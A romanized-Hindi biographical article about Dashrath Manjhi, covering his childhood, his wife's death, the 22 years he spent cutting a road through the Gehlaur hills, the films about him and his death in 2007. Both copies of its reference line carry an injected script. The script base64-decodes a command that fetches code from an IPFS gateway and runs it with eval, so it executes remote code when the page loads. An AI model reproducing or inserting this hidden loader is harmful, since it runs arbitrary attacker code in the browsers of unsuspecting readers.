दशरथ मांझी

	dasharath maanjhi
	dasharath maanjhi\|200px\|center
poora nam	dasharath maanjhi
any nam	mauanten main
janm	14 janavari, 1934
janm bhoomi	gahalaur, bihar
mrityu	17 agast, 2007
mrityu sthan	ems, nee dilli
pati/patni	phalguni devi
karm bhoomi	bharat
karm-kshetr	majadoori
prasiddhi	ek hathau da aur chheni lekar dasharath maanjhi ne akele hi 22 varshoan ke parishram ke bad 360 phut lanbi 30 phut chau di aur 25 phut ooanche paha d ko kat ke ek s dak bana dali.
nagarikata	bharatiy
any janakari	dasharath maanjhi ne apane kam ko 22 varshoan (1960-1982) mean poora kiya. is s dak ne gaya ke atri aur vaziraganj sektars ki doori ko 55 ki.mi. se 15 ki.mi. kar diya.

janm

dasharath maanjhi ka janm azadi se poorv 14 janavari san 1934 ko bihar ke gahalaur namak sthan par hua tha. jab unaka janm hua, tab desh mean aangrez sarakar thi. poore desh ke sath sath is gavan ke bhi battar halat the. san 1947 mean desh to ajad ho gaya, lekin isake bad dhani logoan ki girapht mean chala gaya. har taraph amir jamidar apana hak jamaye hue the aur bina padhe likhe gariboan ko pareshan karate the. dasharath maanjhi ka parivar bhi bahut garib tha, ek vakt ki roti ke lie unake pita bahut mehanat karate the.^[1]

gaanv se palayan

ajadi milane ke bad bhi gahalaur gaanv mean na bijali thi, na pani aur na hi pakki s dak. us gaanv ke logoan ko pani ke lie door jana hota tha. yahaan tak ki aspatal ke lie bhi paha d chadhakar shahar jana hota tha, jisamean bahut samay lagata tha. dasharath maanjhi ke pita ne gaanv ke jamidar se paise lie the, jise vah lauta nahian paye the. badale mean vah apane bete ko us jamidar ka bandhua majadoor banane ko bolate haian. kisi ki gulami dasharath maanjhi ko pasand nahian thi, isalie vah gaanv chho dakar bhag jate haian aur dhanabad ki koyale ki khanoan mean kam shuroo kar dete haian. phir ve kuchh samay bad apane ghar laut ae aur phalguni devi se shadi ki.

patni ka nidhan v sankalp

apane pati ke lie khana le jate samay unaki patni phalguni paha d ke darre mean gir gayi aur unaka nidhan ho gaya. agar phalguni devi ko aspatal le jaya gaya hota to shayad vo bach jati, yah bat dasharath maanjhi ke man mean ghar kar gee. isake bad dasharath maanjhi ne sankalp liya ki vah akele apane dam par ve paha d ke bichoan bich se rasta nikalege. phir unhoanne 360 fut-lamba (110 mi.), 25 fut-gahara (7.6 mi.) 30 fut-chau da (9.1 mi.) gehalaur ki paha diyoan se rasta banana shuroo kiya. unaka kahana tha ki- "jab maianne paha di to dana shuroo kiya to logoan ne mujhe pagal kaha, lekin is bat ne mere nishchay ko aur bhi majaboot kiya."

unhoanne apane kam ko 22 varshoan (1960-1982) mean poora kiya. is s dak ne gaya ke atri aur vaziraganj sektars ki doori ko 55 ki.mi. se 15 ki.mi. kar diya. dasharath maanjhi ke prayas ka mazak u daya gaya, par unake is prayas ne gehalaur ke logoan ke jivan ko saral bana diya. halaanki unhoanne ek surakshit paha d ko kata, jo bharatiy vanyajiv suraksha adhiniyam ke anusar dandaniy hai. phir bhi unaka ye prayas sarahaniy tha. bad mean dasharath maanjhi ne kaha tha, 'pahale-pahale gaanv valoan ne mujh par tane kase lekin unamean se kuchh ne mujhe khana diya aur auzar kharidane mean meri sahayata bhi ki."^[1]

s dak nirman

dasharath maanjhi ke prayatn ka sakaratmak natija nikala. keval ek hathau da aur chheni lekar unhoanne akele hi 360 phut lanbi 30 phut chau di aur 25 phut ooanche paha d ko kat ke ek s dak bana dali. is s dak ne gaya ke atri aur vaziraganj sektars ki doori ko 55 ki.mi. se 15 ki.mi. kar di taki gaanv ke logoan ko ane jane mean takaliph na hoan. akhirakar 1982 mean 22 varshoan ki mehanat ke bad dasharath maanjhi ne apane kary ko poora kiya. unaki is upalabdhi ke lie bihar sarakar ne samajik seva ke kshetr mean 2006 mean 'padm shri' hetu unake nam ka prastav bhi rakha.

film nirman

philm prabhag ne dasharath maanjhi par ek vrittachitr philm "d main hu moovd d mauanten" ka bhi 2012 mean nirmaan kiya. kumud ranjan is vrittachitr ke nirdeshak the. julaee 2012 mean nideshak ketan mehata ne dasharath maanjhi ke jivan par adharit philm 'maanjhi: d mauanten main' banane ki ghoshana ki. apani mrityushayya par dasharath maanjhi ne apane jivan par ek philm banane ke lie "vishesh adhikar" de diya. 21 agast 2015 ko philm ko riliz kiya gaya. navazuddin siddiki ne dasharath maanjhi ki aur radhika apte ne phalguni devi ki bhoomika nibhaee. dasharath maanjhi ke kamoan ko ek kann d philm "olave mandar" mean jayatirth dvara dikhaya gaya hai.

mrityu

akhil bharatiy ayurvijnan sansthan (ems), nee dilli mean pittashay ke kaiansar se pi dit dasharath maanjhi ka 17 agast, 2007 ko nidhan ho gaya. bihar ki rajy sarakar ke dvara unaka aantim sanskar kiya gaya. bad mean tatkalin bihar ke mukhyamantri nitish kumar ne gahalaur mean unake nam par 3 ki.mi. lanbi ek s dak aur h aauspital banavane ka phaisala kiya.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 dasharath maanjhi jivani (hiandi) jivani.org. abhigaman tithi: 15 aktoobar, 2022.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

dasharath maanjhi: itihas ki sabase shanadar prem kahani

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[pp-1] 1.0 ^1.1 ^1.2 dasharath maanjhi jivani (hiandi) jivani.org. abhigaman tithi: 15 aktoobar, 2022.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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